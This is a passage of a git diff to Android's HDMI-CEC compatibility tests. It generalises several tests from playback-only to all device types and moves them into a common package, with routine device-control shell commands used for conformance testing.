@@ -41,29 +38,24 @@
 
     private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
 
-    public HdmiCecLogicalAddressTest() {
-        super(PLAYBACK_DEVICE);
-    }
-
     @Rule
     public RuleChain ruleChain =
         RuleChain
             .outerRule(CecRules.requiresCec(this))
             .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, PLAYBACK_DEVICE))
             .around(hdmiCecClient);
 
     /**
-     * Test 10.2.3-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the logical address "4".
+     * Test 10.2.1-1, 10.2.3-1, 10.2.5-1
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct logical address.
      */
     @Test
-    public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
+    public void cect_RebootLogicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        assertThat(CecMessage.getSource(message)).isEqualTo(PLAYBACK_DEVICE);
+        int deviceType = CecMessage.getParams(message, 4, 6);
+        assertThat(CecMessage.getSource(message).getDeviceType()).isEqualTo(deviceType);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
similarity index 69%
rename from hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
rename to hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
index 28d8d9510..94bfa51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -14,16 +14,12 @@
  * limitations under the License.
  */
 
-package android.hdmicec.cts.playback;
+package android.hdmicec.cts.common;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -37,28 +33,27 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
 
-    public HdmiCecPhysicalAddressTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
     @Rule
     public RuleChain ruleChain =
         RuleChain
             .outerRule(CecRules.requiresCec(this))
             .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
             .around(hdmiCecClient);
     /**
      * Test 10.1.2-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the physical address 1.0.0.0.
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct physical address.
      */
     @Test
     public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String deviceType = device.getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY);
+        int physicalAddress =
+                deviceType.equals(Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV))
+                        ? 0x0000
+                        : dutPhysicalAddress;
+        device.reboot();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        CecMessage.assertPhysicalAddressValid(message, dutPhysicalAddress);
+        CecMessage.assertPhysicalAddressValid(message, physicalAddress);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
similarity index 68%
rename from hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
rename to hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index 4484ee8..0e38b8c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -14,18 +14,15 @@
  * limitations under the License.
  */
 
-package android.hdmicec.cts.playback;
+package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -49,57 +46,57 @@
     private static final int WAIT_TIME = 5;
     private static final int MAX_SLEEP_TIME = 8;
 
-    public HdmiCecPowerStatusTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
     @Rule
     public RuleChain ruleChain =
         RuleChain
             .outerRule(CecRules.requiresCec(this))
             .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
             .around(hdmiCecClient);
 
     /**
-     * Test 11.2.14-1
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x0 when the device is
-     * powered on.
+     * Test 11.1.14-1, 11.2.14-1
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x0 when the
+     * device is powered on.
      */
     @Test
-    public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
+    public void cect_PowerStatusWhenOn() throws Exception {
         ITestDevice device = getDevice();
         /* Make sure the device is not booting up/in standby */
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
-            CecOperand.REPORT_POWER_STATUS);
+        LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+        hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+        String message =
+                hdmiCecClient.checkExpectedOutput(cecClientDevice, CecOperand.REPORT_POWER_STATUS);
         assertThat(CecMessage.getParams(message)).isEqualTo(ON);
     }
 
     /**
-     * Test 11.2.14-2
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x1 when the device is
-     * powered off.
+     * Test 11.2.14-1, 11.2.14-2
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x1 when the
+     * device is powered off.
      */
     @Test
-    public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
+    public void cect_PowerStatusWhenOff() throws Exception {
         ITestDevice device = getDevice();
         try {
             /* Make sure the device is not booting up/in standby */
             device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            /* Home Key to prevent device from going to deep suspend state */
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            /* The sleep below could send some devices into a deep suspend state. */
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
             TimeUnit.SECONDS.sleep(WAIT_TIME);
             int waitTimeSeconds = WAIT_TIME;
             int powerStatus;
+            LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
             do {
                 TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
                 waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
-                hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-                powerStatus = CecMessage.getParams(hdmiCecClient.checkExpectedOutput(
-                        LogicalAddress.TV, CecOperand.REPORT_POWER_STATUS));
+                hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+                powerStatus =
+                        CecMessage.getParams(
+                                hdmiCecClient.checkExpectedOutput(
+                                        cecClientDevice, CecOperand.REPORT_POWER_STATUS));
             } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
             assertThat(powerStatus).isEqualTo(OFF);
         } finally {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 5fb2187..e6bd499 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -23,6 +23,7 @@
 import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.LogicalAddress;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -31,6 +32,9 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.List;
+
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -60,18 +64,33 @@
     }
 
     /**
-     * Test 11.2.6-2
-     * Tests that the device sends a {@code <Report Physical Address>} in response to a
-     * {@code <Give Physical Address>}
+     * Tests 11.2.6-2, 10.1.1.1-1
+     *
+     * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+     * <Give Physical Address>}
      */
     @Test
     public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        /* Check that the physical address taken is valid. */
-        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
-        int receivedParams = CecMessage.getParams(message);
-        assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+            /* Check that the physical address taken is valid. */
+            CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+            int receivedParams = CecMessage.getParams(message);
+            assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        }
     }
 
     /**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..33d514e
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
+
+    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+            "hdmi_control_auto_device_off_enabled";
+
+    public List<LogicalAddress> mLogicalAddresses = new ArrayList<>();
+    public boolean wasOn;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    @Before
+    public void initialTestSetup() throws Exception {
+        defineLogicalAddressList();
+        wasOn = setHdmiControlDeviceAutoOff(false);
+    }
+
+    @After
+    public void resetDutState() throws Exception {
+        /* Wake up the device */
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        setHdmiControlDeviceAutoOff(wasOn);
+    }
+
+    /**
+     * Test 11.1.3-2, 11.2.3-2<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is broadcast.
+     */
+    @Test
+    public void cect_HandleBroadcastStandby() throws Exception {
+        getDevice().reboot();
+        TimeUnit.SECONDS.sleep(5);
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, LogicalAddress.BROADCAST);
+            }
+        }
+    }
+
+    /**
+     * Test 11.1.3-3, 11.2.3-3<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is sent to it.
+     */
+    @Test
+    public void cect_HandleAddressedStandby() throws Exception {
+        getDevice().reboot();
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, mDutLogicalAddress);
+            }
+        }
+    }
+
+    /**
+     * Test 11.2.3-4<br>
+     * Tests that the device does not broadcast a {@code <STANDBY>} when going into standby mode.
+     */
+    @Test
+    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+        /*
+         * CEC CTS does not specify for TV a no broadcast on standby test. On Android TVs, there is
+         * a feature to turn off this standby broadcast and this test tests the same.
+         */
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
+                CecOperand.STANDBY);
+    }
+
+    private void defineLogicalAddressList() throws Exception {
+        /* TODO: b/174279917 Add LogicalAddress.BROADCAST to this list as well. */
+        mLogicalAddresses.add(LogicalAddress.TV);
+        mLogicalAddresses.add(LogicalAddress.RECORDER_1);
+        mLogicalAddresses.add(LogicalAddress.TUNER_1);
+        mLogicalAddresses.add(LogicalAddress.PLAYBACK_1);
+        mLogicalAddresses.add(LogicalAddress.AUDIO_SYSTEM);
+
+        if (mDutLogicalAddress.getDeviceType() == HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
+            //Add logical addresses 13, 14 only for TV panel tests.
+            mLogicalAddresses.add(LogicalAddress.RESERVED_2);
+            mLogicalAddresses.add(LogicalAddress.SPECIFIC_USE);
+        }
+    }
+
+    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+        String valToSet = turnOn ? "1" : "0";
+        device.executeShellCommand("settings put global "
+                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+        return val.equals("1");
+    }
+
+    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source,
+            LogicalAddress destination) throws Exception {
+        ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
+        TimeUnit.SECONDS.sleep(5);
+        String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+        assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(5);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
similarity index 75%
rename from hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
rename to hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
index 4a850e9..e3d1d82 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -14,18 +14,16 @@
  * limitations under the License.
  */
 
-package android.hdmicec.cts.playback;
+package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -39,31 +37,25 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
     private static final int INCORRECT_VENDOR_ID = 0x0;
 
-    public HdmiCecVendorCommandsTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
     @Rule
     public RuleChain ruleChain =
         RuleChain
             .outerRule(CecRules.requiresCec(this))
             .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
             .around(hdmiCecClient);
 
     /**
      * Test 11.2.9-1
-     * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
-     * with a <DEVICE_VENDOR_ID>.
+     * <p>Tests that the device responds to a {@code <GIVE_DEVICE_VENDOR_ID>} from various source
+     * devices with a {@code <DEVICE_VENDOR_ID>}.
      */
     @Test
     public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
         for (LogicalAddress logicalAddress : LogicalAddress.values()) {
             // Skip the logical address of this device
-            if (logicalAddress == PLAYBACK_DEVICE) {
+            if (logicalAddress == mDutLogicalAddress) {
                 continue;
             }
             hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
@@ -74,14 +66,13 @@
 
     /**
      * Test 11.2.9-2
-     * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
+     * <p>Tests that the device broadcasts a {@code <DEVICE_VENDOR_ID>} message after successful
      * initialisation and address allocation.
      */
     @Test
     public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
         assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index a47a81d..b91b90a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -38,22 +38,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
 
-    private static final int PHYSICAL_ADDRESS = 0x1000;
-    /**
-     * The package name of the APK.
-     */
-    private static final String HDMI_CEC_HELPER_PACKAGE = "android.hdmicec.app";
-    /**
-     * The class name of the main activity in the APK.
-     */
-    private static final String HDMI_CONTROL_HELPER_CLASS = "HdmiControlManagerHelper";
-    /**
-     * Intent to trigger an OTP.
-     */
-    private static final String OTP_ACTION = String.format(
-        "android.hdmicec.app.OTP -n %s/%s.%s", HDMI_CEC_HELPER_PACKAGE, HDMI_CEC_HELPER_PACKAGE,
-        HDMI_CONTROL_HELPER_CLASS);
-
     /** Intent to launch the remote pairing activity */
     private static final String ACTION_CONNECT_INPUT_NORMAL =
             "com.google.android.intent.action.CONNECT_INPUT";
@@ -82,10 +66,9 @@
 
     /**
      * Test 11.2.1-1
-     * Tests that the device sends a <TEXT_VIEW_ON> when the home key is pressed on device, followed
-     * by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the "One Touch Play" function is
+     * invoked on the device, followed by a {@code <Active Source>} message.
      */
-    @Ignore("b/169755426")
     @Test
     public void cect_11_2_1_1_OneTouchPlay() throws Exception {
         ITestDevice device = getDevice();
@@ -97,8 +80,8 @@
     }
 
     /**
-     * Tests that the device sends a <TEXT_VIEW_ON> when the pairing activity is started on
-     * device, followed by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the pairing activity is started on
+     * device, followed by a {@code <Active Source>} message.
      */
     @Test
     public void cect_PairingActivity_OneTouchPlay() throws Exception {
@@ -112,11 +95,6 @@
     }
 
     private void sendOtp(ITestDevice device) throws Exception {
-        // Clear activity
-        device.executeShellCommand(FORCE_STOP_COMMAND + HDMI_CEC_HELPER_PACKAGE);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + OTP_ACTION);
+        device.executeShellCommand("cmd hdmi_control onetouchplay");
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index f18268e..54b9be2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -110,6 +110,7 @@
                     LogicalAddress.BROADCAST,
                     CecOperand.SET_STREAM_PATH,
                     CecMessage.formatParams(dumpsysPhysicalAddress));
+            TimeUnit.SECONDS.sleep(5);
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
             String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                     CecOperand.INACTIVE_SOURCE);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
index 3e7f35a..69bc346 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
@@ -45,6 +45,7 @@
 /**
  * HDMI CEC test to verify physical address after device reboot (Section 10.2.3)
  */
+@Ignore("b/149519706")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 6945249..95baefc 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -30,6 +30,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
@@ -74,6 +75,7 @@
      * the volume up and down keys are pressed on the DUT. Test also verifies that the
      * <USER_CONTROL_PRESSED> message has the right control param.
      */
+    @Ignore("b/162836413")
     @Test
     public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
@@ -101,6 +103,7 @@
      * the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
      * message has the right control param.
      */
+    @Ignore("b/162836413")
     @Test
     public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
deleted file mode 100644
index d78d318..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
-
-    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
-            "hdmi_control_auto_device_off_enabled";
-
-    public HdmiCecSystemStandbyTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
-        ITestDevice device = getDevice();
-        String val = device.executeShellCommand("settings get global " +
-                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
-        String valToSet = turnOn ? "1" : "0";
-        device.executeShellCommand("settings put global "
-                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
-        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
-        return val.equals("1");
-    }
-
-    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source, LogicalAddress destination)
-            throws Exception {
-        ITestDevice device = getDevice();
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            TimeUnit.SECONDS.sleep(5);
-            hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
-            TimeUnit.SECONDS.sleep(5);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
-        } finally {
-            /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-
-    /**
-     * Test 11.2.3-2
-     * Tests that the device goes into standby when a <STANDBY> message is broadcast.
-     */
-    @Test
-    public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
